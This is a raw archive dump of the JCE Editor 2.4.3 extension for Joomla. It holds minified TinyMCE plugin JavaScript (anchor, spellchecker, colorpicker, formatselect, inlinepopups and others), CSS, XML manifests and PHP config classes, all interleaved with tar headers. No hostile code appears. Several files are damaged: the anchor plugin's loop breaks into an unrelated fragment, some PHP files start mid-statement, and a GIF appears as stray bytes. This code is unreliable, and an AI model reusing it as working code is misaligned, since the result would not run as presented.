word=wordSpan.innerHTML;dom.remove(wordSpan,1);t._checkDone();ed.setProgressState(1);t._sendRPC('learnWord',[t.selectedLang,word],function(r){ed.setProgressState(0);});}});} m.update();});p1=DOM.getPos(ed.getContentAreaContainer());m.settings.offset_x=p1.x;m.settings.offset_y=p1.y;ed.selection.select(wordSpan);p1=dom.getPos(wordSpan);m.showMenu(p1.x,p1.y+wordSpan.offsetHeight-vp.y);return tinymce.dom.Event.cancel(e);}else m.hideMenu();},_checkDone:function(){var t=this,ed=t.editor,dom=ed.dom,o;each(dom.select('span'),function(n){if(n&&dom.hasClass(n,'mceItemHiddenSpellWord')){o=true;return false;}});if(!o) t._done();},_done:function(){var t=this,la=t.active;if(t.active){t.active=!!t.native_spellchecker;t._removeWords();if(t._menu) t._menu.hideMenu();if(la) t.editor.nodeChanged();}},_sendRPC:function(m,p,cb){var t=this,ed=t.editor;var query='',args={'format':'raw'};args[ed.settings.token]=1;for(k in args){query+='&'+k+'='+encodeURIComponent(args[k]);} tinymce.util.XHR.send({url:t.rpcUrl,content_type:'application/x-www-form-urlencoded',data:'json='+JSON.serialize({'fn':m,'args':p})+query,success:function(o){var c=JSON.parse(o);if(typeof(c)=='undefined'){c={error:'JSON Parse error.'};} if(c.error){ed.setProgressState(0);var e=c.error;ed.windowManager.alert(e.errstr||('Error response: '+e));}else{cb.call(t,c.result||'');}},error:function(x){ed.setProgressState(0);ed.windowManager.alert('Error response: '+x);}});}});tinymce.PluginManager.add('spellchecker',tinymce.plugins.SpellcheckerPlugin);})();com_jce/editor/tiny_mce/plugins/anchor/index.html000066600000000054150771500630016177 0ustar00com_jce/editor/tiny_mce/plugins/anchor/css/index.html000066600000000054150771500630016767 0ustar00com_jce/editor/tiny_mce/plugins/anchor/css/content.css000066600000001350150771500630017156 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ a.mceItemAnchor{width:11px!important;height:11px!important;background:url(../img/anchor.gif) no-repeat 2px center;padding-left:14px;border:1px dashed #B4D4FF;text-decoration:none;font-weight:normal;color:inherit;vertical-align:middle;-ms-user-select:all;-ms-user-modify:read-only;user-select:all;user-modify:read-only;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;}a.mceItemAnchor::selection{background-color:#b4d4ff;}.mceItemAnchor.mceItemSelected{background-color:#b4d4ff;}com_jce/editor/tiny_mce/plugins/anchor/anchor.xml000066600000001215150771500630016176 0ustar00 WF_ANCHOR_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_ANCHOR_DESC anchor anchor com_jce/editor/tiny_mce/plugins/anchor/img/index.html000066600000000054150771500630016753 0ustar00com_jce/editor/tiny_mce/plugins/anchor/img/anchor.gif000066600000000106150771500630016715 0ustar00GIF89a !, @w&ڃq|a4b;com_jce/editor/tiny_mce/plugins/anchor/editor_plugin.js000066600000011311150771500630017402 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,is=tinymce.is,each=tinymce.each;var Node=tinymce.html.Node;var VK=tinymce.VK,BACKSPACE=VK.BACKSPACE,DELETE=VK.DELETE;tinymce.create('tinymce.plugins.AnchorPlugin',{init:function(ed,url){this.editor=ed;this.url=url;var self=this;function isAnchor(n){return ed.dom.getParent(n,'a.mceItemAnchor');} ed.settings.allow_html_in_named_anchor=true;ed.addCommand('mceInsertAnchor',function(ui,value){return self._insertAnchor(value);});ed.onNodeChange.add(function(ed,cm,n,co){var s=isAnchor(n);ed.dom.removeClass(ed.dom.select('.mceItemAnchor.mceItemSelected'),'mceItemSelected');cm.setActive('anchor',s);if(s){ed.dom.addClass(ed.dom.select('.mceItemAnchor'),'mceItemSelected');}});ed.onKeyDown.add(function(ed,e){if(e.keyCode===VK.BACKSPACE||e.keyCode===VK.DELETE){self._removeAnchor(e);}});ed.onInit.add(function(){if(ed.theme&&ed.theme.onResolveName){ed.theme.onResolveName.add(function(theme,o){var n=o.node,v,href=n.href;if(o.name==='a'&&(!href||href.charAt(0)=='#')&&(n.name||n.id)){v=n.name||n.id;} if(v){o.name='a#'+v;}});} if(!ed.settings.compress.css) ed.dom.loadCSS(url+"/css/content.css");});ed.onPreInit.add(function(){ed.parser.addNodeFilter('a',function(nodes){for(var i=0,len=nodes.length;i<\/a>/gi,'\uFEFF');});},_removeAnchor:function(e){var ed=this.editor,s=ed.selection,n=s.getNode();if(!s.isCollapsed()&&ed.dom.getParent(n,'a.mceItemAnchor')){ed.undoManager.add();ed.formatter.remove('link');if(e){e.preventDefault();}}},_getAnchor:function(){var ed=this.editor,n=ed.selection.getNode(),v;n=ed.dom.getParent(n,'a.mceItemAnchor');v=ed.dom.getAttrib(n,'name')||ed.dom.getAttrib(n,'id');return v;},_insertAnchor:function(v){var ed=this.editor,attrib;if(!v){ed.windowManager.alert('anchor.invalid');return false;} if(!/^[a-z][a-z0-9\-\_:\.]*$/i.test(v)){ed.windowManager.alert('anchor.invalid');return false;} attrib='name';if(ed.settings.schema=='html5'){attrib='id';} var n=ed.selection.getNode();var at={'class':'mceItemAnchor'};if(n=ed.dom.getParent(n,'A')){at[attrib]=v;ed.dom.setAttribs(n,at);}else{if(ed.dom.select('a['+attrib+'="'+v+'"], img[data-mce-name="'+v+'"], img[id="'+v+'"]',ed.getBody()).length){ed.windowManager.alert('anchor.exists');return false;} if(ed.selection.isCollapsed()){at[attrib]=v;ed.execCommand('mceInsertContent',0,ed.dom.createHTML('a',{id:'__mce_tmp'}));n=ed.dom.get('__mce_tmp');at.id=at.id||null;ed.dom.setAttribs(n,at);ed.selection.select(n);}else{at[attrib]=v;ed.execCommand('mceInsertLink',false,'#mce_temp_url#',{skip_undo:1});at.href=at['data-mce-href']=null;each(ed.dom.select('a[href="#mce_temp_url#"]'),function(link){ed.dom.setAttribs(link,at);});}} ed.execCommand("mceEndUndoLevel");ed.nodeChanged();return true;},createControl:function(n,cm){var self=this,ed=this.editor;switch(n){case'anchor':var content=DOM.create('div');var fieldset=DOM.add(content,'fieldset',{},''+ed.getLang('anchor.desc','Insert / Edit Anchor')+'');DOM.add(fieldset,'label',{'for':ed.id+'_anchor'},ed.getLang('anchor.name','Name'));var input=DOM.add(fieldset,'input',{type:'text',id:ed.id+'_anchor'});var c=new tinymce.ui.ButtonDialog(cm.prefix+'anchor',{title:ed.getLang('anchor.desc','Inserts an Anchor'),'class':'mce_anchor','content':content,'width':250,'buttons':[{title:ed.getLang('insert','Insert'),id:'insert',click:function(e){return self._insertAnchor(input.value);},scope:self},{title:ed.getLang('anchor.remove','Remove'),id:'remove',click:function(e){if(!DOM.hasClass(e.target,'disabled')){self._removeAnchor();} return true;},scope:self}]},ed);c.onShowDialog.add(function(){input.value='';var label=ed.getLang('insert','Insert');var v=self._getAnchor();if(v){input.value=v;label=ed.getLang('update','Update');} c.setActive(!!v);c.setButtonDisabled('remove',!v);c.setButtonLabel('insert',label);input.focus();});c.onHideDialog.add(function(){input.value='';});ed.onRemove.add(function(){c.destroy();});return cm.add(c);break;} return null;},getInfo:function(){return{longname:'Anchor',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('anchor',tinymce.plugins.AnchorPlugin);})();com_jce/editor/tiny_mce/plugins/print/index.html000066600000000054150771500630016061 0ustar00com_jce/editor/tiny_mce/plugins/print/print.xml000066600000001231150771500630015740 0ustar00 WF_PRINT_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_PRINT_DESC print com_jce/editor/tiny_mce/plugins/print/editor_plugin.js000066600000001275150771500630017274 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create("tinymce.plugins.Print",{init:function(a,b){a.addCommand("mcePrint",function(){a.getWin().print()});a.addButton("print",{title:"print.desc",cmd:"mcePrint"})},getInfo:function(){return{longname:"Print",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("print",tinymce.plugins.Print)})();com_jce/editor/tiny_mce/plugins/kitchensink/index.html000066600000000054150771500630017237 0ustar00com_jce/editor/tiny_mce/plugins/kitchensink/kitchensink.xml000066600000001276150771500630020305 0ustar00 WF_KITCHENSINK_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_KITCHENSINK_DESC kitchensink com_jce/editor/tiny_mce/plugins/kitchensink/editor_plugin.js000066600000002573150771500630020454 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,cookie=tinymce.util.Cookie,DOM=tinymce.DOM;tinymce.create('tinymce.plugins.KitchenSink',{init:function(ed,url){var self=this,state=false,h=0,el=ed.getElement(),s=ed.settings;function toggle(){var row=DOM.getParents(ed.id+'_kitchensink','table.mceToolbar');if(!row){return;} var n=DOM.getNext(row[0],'table.mceToolbar');while(n){if(DOM.isHidden(n)){DOM.setStyle(n,'display','');state=true;}else{DOM.hide(n);state=false;} n=DOM.getNext(n,'table.mceToolbar');} h=s.height||el.style.height||el.offsetHeight;if(h){DOM.setStyle(ed.id+'_ifr','height',h);} ed.controlManager.setActive('kitchensink',state);} ed.addCommand('mceKitchenSink',toggle);ed.addButton('kitchensink',{title:'kitchensink.desc',cmd:'mceKitchenSink'});ed.onPostRender.add(function(ed,cm){if(DOM.get('mce_fullscreen')){state=true;return;} toggle();});ed.onInit.add(function(ed){ed.controlManager.setActive('kitchensink',state);});},getInfo:function(){return{longname:'Kitchen Sink',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net/',infourl:'http://www.joomlacontenteditor.net/',version:'2.4.3'};}});tinymce.PluginManager.add('kitchensink',tinymce.plugins.KitchenSink);})();com_jce/editor/tiny_mce/plugins/colorpicker/js/colorpicker.js000066600000002102150771500630020526 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var ColorPicker={settings:{},init:function(){var self=this,ed=tinyMCEPopup.editor,color=tinyMCEPopup.getWindowArg('input_color')||'#FFFFFF',doc=ed.getDoc();var stylesheets=[];if(doc.styleSheets.length){$.each(doc.styleSheets,function(i,s){if(s.href&&s.href.indexOf('tiny_mce')==-1){stylesheets.push(s);}});} $('#tmp_color').val(color).colorpicker($.extend(this.settings,{dialog:true,insert:function(){return ColorPicker.insert();},close:function(){return tinyMCEPopup.close();},stylesheets:stylesheets,custom_colors:ed.getParam('colorpicker_custom_colors')}));$('button#insert').button({icons:{primary:'ui-icon-check'}});$('#jce').css('display','block');},insert:function(){var color=$("#colorpicker_color").val(),f=tinyMCEPopup.getWindowArg('func');tinyMCEPopup.restoreSelection();if(f) f(color);tinyMCEPopup.close();}};tinyMCEPopup.onInit.add(ColorPicker.init,ColorPicker);com_jce/editor/tiny_mce/plugins/colorpicker/js/index.html000066600000000054150771500630017655 0ustar00com_jce/editor/tiny_mce/plugins/colorpicker/tmpl/default.php000066600000005016150771500630020360 0ustar00
      com_jce/editor/tiny_mce/plugins/colorpicker/tmpl/index.html000066600000000054150771500630020215 0ustar00com_jce/editor/tiny_mce/plugins/colorpicker/classes/index.html000066600000000054150771500630020676 0ustar00com_jce/editor/tiny_mce/plugins/colorpicker/classes/config.php000066600000001367150771500630020667 0ustar00getParam('colorpicker.custom_colors', $wf->getParam('editor.custom_colors')); } } ?>com_jce/editor/tiny_mce/plugins/colorpicker/classes/colorpicker.php000066600000002040150771500630021723 0ustar00 true)); } public function display() { parent::display(); $document = WFDocument::getInstance(); $document->addScript(array('colorpicker'), 'plugins'); $document->addStyleSheet(array('colorpicker'), 'plugins'); } } ?> com_jce/editor/tiny_mce/plugins/colorpicker/index.html000066600000000054150771500630017241 0ustar00com_jce/editor/tiny_mce/plugins/colorpicker/css/colorpicker.css000066600000000416150771500630021064 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ @import url('../../../../libraries/css/colorpicker.css');com_jce/editor/tiny_mce/plugins/colorpicker/css/index.html000066600000000054150771500630020031 0ustar00com_jce/editor/tiny_mce/plugins/colorpicker/colorpicker.php000066600000001105150771500630020267 0ustar00execute();com_jce/editor/tiny_mce/plugins/colorpicker/editor_plugin.js000066600000001421150771500630020445 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){tinymce.create('tinymce.plugins.ColorPicker',{init:function(ed,url){this.editor=ed;ed.addCommand('mceColorPicker',function(ui,v){ed.windowManager.open({url:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=colorpicker',width:375+parseInt(ed.getLang('advanced.colorpicker_delta_width',0)),height:310+parseInt(ed.getLang('advanced.colorpicker_delta_height',0)),close_previous:false,inline:true,popup_css:false},{input_color:v.color,func:v.func});});}});tinymce.PluginManager.add('colorpicker',tinymce.plugins.ColorPicker);})();com_jce/editor/tiny_mce/plugins/formatselect/classes/index.html000066600000000054150771500630021052 0ustar00com_jce/editor/tiny_mce/plugins/formatselect/classes/config.php000066600000006162150771500630021041 0ustar00 'advanced.paragraph', 'address' => 'advanced.address', 'pre' => 'advanced.pre', 'h1' => 'advanced.h1', 'h2' => 'advanced.h2', 'h3' => 'advanced.h3', 'h4' => 'advanced.h4', 'h5' => 'advanced.h5', 'h6' => 'advanced.h6', 'div' => 'advanced.div', 'blockquote' => 'advanced.blockquote', 'code' => 'advanced.code', 'samp' => 'advanced.samp', 'span' => 'advanced.span', 'section' => 'advanced.section', 'article' => 'advanced.article', 'aside' => 'advanced.aside', 'figure' => 'advanced.figure', 'dt' => 'advanced.dt', 'dd' => 'advanced.dd' ); public static function getConfig(&$settings) { wfimport('admin.models.editor'); $model = new WFModelEditor(); $wf = WFEditor::getInstance(); // html5 block elements $html5 = array('section', 'article', 'aside', 'figure'); // get current schema $schema = $wf->getParam('editor.schema', 'html4'); $verify = (bool) $wf->getParam('editor.verify_html', 0); $legacy = $wf->getParam('editor.theme_advanced_blockformats'); $default = 'p,div,address,pre,h1,h2,h3,h4,h5,h6,code,samp,span,section,article,aside,figure,dt,dd'; // get blockformats from parameter $blockformats = $wf->getParam('formatselect.blockformats', $default, $default); // handle empty list if (empty($blockformats)) { if (!empty($legacy)) { $blockformats = $legacy; } else { $blockformats = $default; } } $list = array(); $blocks = array(); // make an array if (is_string($blockformats)) { $blockformats = explode(',', $blockformats); } // create label / value list using default foreach ($blockformats as $v) { if (array_key_exists($v, self::$formats)) { $key = self::$formats[$v]; } // skip html5 blocks for html4 schema if ($verify && $schema == 'html4' && in_array($v, $html5)) { continue; } if (isset($key)) { $list[$key] = $v; } $blocks[] = $v; // add div container if ($v === 'div') { $list['advanced.div_container'] = 'div_container'; } } // Format list / Remove Format $settings['formatselect_blockformats'] = json_encode($list); } } ?> com_jce/editor/tiny_mce/plugins/formatselect/index.html000066600000000054150771500630017415 0ustar00com_jce/editor/tiny_mce/plugins/formatselect/formatselect.xml000066600000001502150771500630020631 0ustar00 WF_FORMATSELECT_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_FORMATSELECT_DESC formatselect com_jce/editor/tiny_mce/plugins/formatselect/editor_plugin.js000066600000003247150771500630020631 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each;tinymce.create('tinymce.plugins.FormatSelectPlugin',{init:function(ed,url){var self=this;this.editor=ed;ed.onNodeChange.add(function(ed,cm,n){var c=cm.get('formatselect'),p;if(c){p=ed.dom.getParent(n,ed.dom.isBlock);if(p){c.select(p.nodeName.toLowerCase());}}});},createControl:function(n,cf){var ed=this.editor;switch(n){case"formatselect":if(ed.getParam('formatselect_blockformats')){return this._createBlockFormats();} break;}},_createBlockFormats:function(){var self=this,ed=this.editor,PreviewCss=tinymce.util.PreviewCss;var c,fmts={'p':'advanced.paragraph','address':'advanced.address','pre':'advanced.pre','h1':'advanced.h1','h2':'advanced.h2','h3':'advanced.h3','h4':'advanced.h4','h5':'advanced.h5','h6':'advanced.h6','div':'advanced.div','blockquote':'advanced.blockquote','code':'advanced.code','samp':'advanced.samp','span':'advanced.span','section':'advanced.section','article':'advanced.article','aside':'advanced.aside','figure':'advanced.figure','dt':'advanced.dt','dd':'advanced.dd'};c=ed.controlManager.createListBox('formatselect',{title:'advanced.block',onselect:function(v){ed.execCommand('FormatBlock',false,v);return false;}});if(c){each(ed.getParam('formatselect_blockformats','','hash'),function(v,k){c.add(ed.translate(k!=v?k:fmts[v]),v,{'class':'mce_formatPreview mce_'+v,style:function(){return PreviewCss(ed,{'block':v});}});});} return c;}});tinymce.PluginManager.add('formatselect',tinymce.plugins.FormatSelectPlugin);})();com_jce/editor/tiny_mce/plugins/core/index.html000066600000000054150771500630015655 0ustar00com_jce/editor/tiny_mce/plugins/core/editor_plugin.js000066600000013455150771500630017073 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(tinymce){var DOM=tinymce.DOM,Event=tinymce.dom.Event,is=tinymce.is,each=tinymce.each,VK=tinymce.VK;tinyMCE.onAddEditor.add(function(mgr,ed){if(tinymce.isMac&&tinymce.isGecko&&!tinymce.isIE11){ed.onKeyDown.add(function(ed,e){if(VK.metaKeyPressed(e)&&!e.shiftKey&&(e.keyCode==37||e.keyCode==39)){ed.selection.getSel().modify('move',e.keyCode==37?'backward':'forward','word');e.preventDefault();}});}});tinymce.util.PreviewCss=function(ed,fmt){var name,previewElm,dom=ed.dom,previewCss='',parentFontSize,previewStylesName;var previewStyles=ed.settings.preview_styles;if(previewStyles===false) return'';if(!previewStyles) previewStyles='font-family font-size font-weight text-decoration text-transform color background-color';function removeVars(val){return val.replace(/%(\w+)/g,'');} name=fmt.block||fmt.inline||'span';previewElm=dom.create(name);each(fmt.styles,function(value,name){value=removeVars(value);if(value) dom.setStyle(previewElm,name,value);});each(fmt.attributes,function(value,name){value=removeVars(value);if(value) dom.setAttrib(previewElm,name,value);});each(fmt.classes,function(value){value=removeVars(value);if(!dom.hasClass(previewElm,value)) dom.addClass(previewElm,value);});dom.setStyles(previewElm,{position:'absolute',left:-0xFFFF});ed.getBody().appendChild(previewElm);parentFontSize=dom.getStyle(ed.getBody(),'fontSize',true);parentFontSize=/px$/.test(parentFontSize)?parseInt(parentFontSize,10):0;each(previewStyles.split(' '),function(name){var value=dom.getStyle(previewElm,name,true);if(name=='background-color'&&/transparent|rgba\s*\([^)]+,\s*0\)/.test(value)){value=dom.getStyle(ed.getBody(),name,true);if(dom.toHex(value).toLowerCase()=='#ffffff'){return;}} if(name=='font-size'){if(/em|%$/.test(value)){if(parentFontSize===0){return;} value=parseFloat(value,10)/(/%$/.test(value)?100:1);value=(value*parentFontSize)+'px';}} previewCss+=name+':'+value+';';});dom.remove(previewElm);return previewCss;};tinymce.create('tinymce.ui.ButtonDialog:tinymce.ui.Button',{ButtonDialog:function(id,s,ed){this.parent(id,s,ed);this.settings=s=tinymce.extend({content:'',buttons:[]},this.settings);this.editor=ed;this.onRenderDialog=new tinymce.util.Dispatcher(this);this.onShowDialog=new tinymce.util.Dispatcher(this);this.onHideDialog=new tinymce.util.Dispatcher(this);s.dialog_container=s.dialog_container||DOM.doc.body;},showDialog:function(){var t=this,ed=this.editor,s=this.settings,p1,p2,e=DOM.get(t.id),m;if(t.isDisabled()) return;this.storeSelection();if(!t.isDialogRendered){t.renderDialog();} if(t.isDialogVisible) return t.hideDialog();DOM.show(t.id+'_dialog');if(s.url){var iframe=DOM.get(t.id+'_iframe');iframe.src=s.url;} p2=DOM.getPos(e);DOM.setStyles(t.id+'_dialog',{left:p2.x,top:p2.y+e.clientHeight+5,zIndex:200000});e=0;if(this.isActive()){DOM.addClass(t.id+'_dialog',this.classPrefix+'DialogActive');}else{DOM.removeClass(t.id+'_dialog',this.classPrefix+'DialogActive');} Event.add(ed.getDoc(),'mousedown',t.hideDialog,t);Event.add(DOM.doc,'mousedown',function(e){var n=e.target;while(n){if(n==DOM.getRoot()||!n.nodeType||n.nodeType===9){break;} if(n==DOM.get(t.id+'_dialog')){return;} n=n.parentNode;} t.hideDialog();});t.onShowDialog.dispatch(t);if(t._focused){t._keyHandler=Event.add(t.id+'_dialog','keydown',function(e){if(e.keyCode==27) t.hideDialog();});} t.isDialogVisible=1;},storeSelection:function(){if(tinymce.isIE){this.editor.focus();this.bookmark=this.editor.selection.getBookmark(1);}},restoreSelection:function(){if(this.bookmark){this.editor.selection.moveToBookmark(this.bookmark);this.editor.focus();} this.bookmark=0;},renderDialog:function(){var t=this,m,s=this.settings,w,v,ed=this.editor;s['class']+=' '+ed.getParam('skin')+'Skin';if(v=ed.getParam('skin_variant')){s['class']+=' '+ed.getParam('skin')+'Skin'+v.substring(0,1).toUpperCase()+v.substring(1);} s['class']+=ed.settings.directionality=="rtl"?' mceRtl':'';w=DOM.add(s.dialog_container,'div',{role:'presentation',id:t.id+'_dialog','class':s['class'],style:'position:absolute;left:0;top:-1000px;'});w=DOM.add(w,'div',{'class':this.classPrefix+'Dialog'});m=DOM.add(w,'div',{'class':this.classPrefix+'DialogContent'});if(s.width){DOM.setStyle(w,'width',s.width);} if(tinymce.is(s.content,'string')){DOM.setHTML(m,s.content);}else{DOM.add(m,s.content);} if(s.url){DOM.add(m,'iframe',{'id':t.id+'_iframe','src':s.url,style:{'border':0,'width':'100%','height':'100%'},onload:function(){t.isDialogRendered=true;t.onRenderDialog.dispatch(t);}});} m=DOM.add(w,'div',{'class':this.classPrefix+'DialogButtons'});each(s.buttons,function(o){var btn=DOM.add(m,'a',{'class':'mceDialogButton','id':t.id+'_button_'+o.id},o.title||'');if(o.click){Event.add(btn,'click',function(e){t.restoreSelection();var s=o.click.call(o.scope||t,e);if(s){t.hideDialog();}});};});if(!s.url){t.isDialogRendered=true;t.onRenderDialog.dispatch(t);} return w;},setButtonDisabled:function(button,state){var id=this.id+'_button_'+button;if(state){DOM.addClass(id,'disabled');}else{DOM.removeClass(id,'disabled');}},setButtonLabel:function(button,label){DOM.setHTML(this.id+'_button_'+button,label);},hideDialog:function(e){var t=this;if(e&&e.type=="mousedown"&&DOM.getParent(e.target,function(e){return e.id===t.id||e.id===t.id+'_open';})) return;if(!e||!DOM.getParent(e.target,'.mceDialog')){t.setState('Selected',0);Event.remove(DOM.doc,'mousedown',t.hideDialog,t);DOM.hide(t.id+'_dialog');} t.isDialogVisible=0;t.onHideDialog.dispatch(t);},postRender:function(){var t=this,s=t.settings,bm,ed=this.editor;Event.add(t.id,'click',function(){if(!t.isDisabled()){if(s.onclick) s.onclick(t.value);t.showDialog();}});},destroy:function(){this.parent();Event.clear(this.id+'_dialog');DOM.remove(this.id+'_dialog');}});})(tinymce);com_jce/editor/tiny_mce/plugins/inlinepopups/inlinepopups.xml000066600000001212150771500630020721 0ustar00 WF_INLINEPOPUPS_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_INLINEPOPUPS_DESC com_jce/editor/tiny_mce/plugins/inlinepopups/classes/index.html000066600000000054150771500630021107 0ustar00com_jce/editor/tiny_mce/plugins/inlinepopups/classes/config.php000066600000001512150771500630021070 0ustar00getParam('editor.compress_css', 1)) { // add ui theme css file return array( dirname(dirname(__FILE__)) . '/css/dialog.css' ); } } } ?>com_jce/editor/tiny_mce/plugins/inlinepopups/index.html000066600000000054150771500630017452 0ustar00com_jce/editor/tiny_mce/plugins/inlinepopups/css/dialog.css000066600000002050150771500630020214 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ @import url('../../../../libraries/jquery/css/jquery-ui.custom.css');.ui-jce{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;}.ui-jce .ui-dialog .ui-dialog-content{padding:0!important;}.ui-jce .ui-dialog.loading .ui-dialog-content{background:#FFF url('../../../themes/advanced/skins/default/img/progress.gif') no-repeat center 45%;}.ui-dialog-title{min-height:16px;}.ui-dialog-confirm .ui-dialog-content,.ui-dialog-alert .ui-dialog-content{font-size:1em!important;margin:10px;padding:10px!important;overflow:auto;white-space:normal;position:relative;background:none!important;}.ui-icon-confirm,.ui-icon-alert{margin:0 7px 20px 0;float:left;}.ui-icon-confirm{background-position:-16px -144px;}.ui-dialog-blocker{position:fixed;left:0;top:0;background:url(../../../themes/advanced/img/spacer.gif) no-repeat 0 -75px;width:100%;height:100%;}com_jce/editor/tiny_mce/plugins/inlinepopups/css/index.html000066600000000054150771500630020242 0ustar00com_jce/editor/tiny_mce/plugins/inlinepopups/editor_plugin.js000066600000027454150771500630020674 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM,Element=tinymce.dom.Element,Event=tinymce.dom.Event,each=tinymce.each,is=tinymce.is;tinymce.create('tinymce.plugins.InlinePopups',{init:function(ed,url){ed.onBeforeRenderUI.add(function(){ed.windowManager=new tinymce.InlineWindowManager(ed);if(!ed.settings.compress.css){DOM.loadCSS(url+'/css/dialog.css');}});},getInfo:function(){return{longname:'InlinePopups',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.create('tinymce.InlineWindowManager:tinymce.WindowManager',{InlineWindowManager:function(ed){var t=this;t.parent(ed);t.zIndex=300000;t.count=0;t.windows={};},open:function(f,p){var t=this,id,opt='',ed=t.editor,dw=0,dh=0,vp,po,mdf,clf,we,w,u,parentWindow;f=f||{};p=p||{};if(!f.inline) return t.parent(f,p);parentWindow=t._frontWindow();if(parentWindow&&DOM.get(parentWindow.id+'_ifr')){parentWindow.focussedElement=DOM.get(parentWindow.id+'_ifr').contentWindow.document.activeElement;} if(!f.type) t.bookmark=ed.selection.getBookmark(1);id=DOM.uniqueId("mce_inlinepopups_");vp=DOM.getViewPort();f.width=parseInt(f.width||320);f.height=parseInt(f.height||240)+(tinymce.isIE?8:0);f.min_width=parseInt(f.min_width||150);f.min_height=parseInt(f.min_height||100);f.max_width=parseInt(f.max_width||2000);f.max_height=parseInt(f.max_height||2000);f.left=f.left||Math.round(Math.max(vp.x,vp.x+(vp.w/2.0)-(f.width/2.0)));f.top=f.top||Math.round(Math.max(vp.y,vp.y+(vp.h/2.0)-(f.height/2.0)));f.movable=f.resizable=true;p.mce_width=f.width;p.mce_height=f.height;p.mce_inline=true;p.mce_window_id=id;p.mce_auto_focus=f.auto_focus;t.features=f;t.params=p;t.onOpen.dispatch(t,f,p);if(f.type){if(f.type) opt+=' ui-dialog-'+f.type.substring(0,1)+f.type.substring(1);f.resizable=false;} if(typeof f.modal=='undefined'){f.modal=true;} var title=f.title||'';var wrapper=DOM.get('ui-jce-wrapper');if(!wrapper){this.count=0;wrapper=DOM.add(DOM.doc.body,'div',{'id':'ui-jce-wrapper','class':'ui-jce'});} t._addAll(wrapper,['div',{id:id,role:'dialog','aria-labelledby':f.type?id+'_content':id+'_title',tabindex:-1,'class':'ui-dialog ui-widget ui-widget-content ui-corner-all ui-draggable ui-resizable'+opt},['div',{'class':'ui-dialog-titlebar ui-widget-header ui-corner-all 